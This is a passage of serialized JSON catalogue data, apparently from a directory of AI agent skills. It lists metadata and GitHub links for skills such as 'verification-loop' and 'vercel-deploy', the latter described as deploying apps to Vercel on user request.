sessions.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fverification-loop\u002FSKILL.md",[],[],{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":128,"sourceHtmlUrl":129,"categories":130,"keywords":131,"publishedAt":20},"01M7EFCE7EZMKPRYDDNKBQ9EEH","vercel-deploy","Deploy applications and websites to Vercel. Use when the user requests deployment actions like \"deploy my app\", \"deploy and give me the link\", \"push this live\", or \"create a preview deployment\".","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FSKILL.md",[],[]]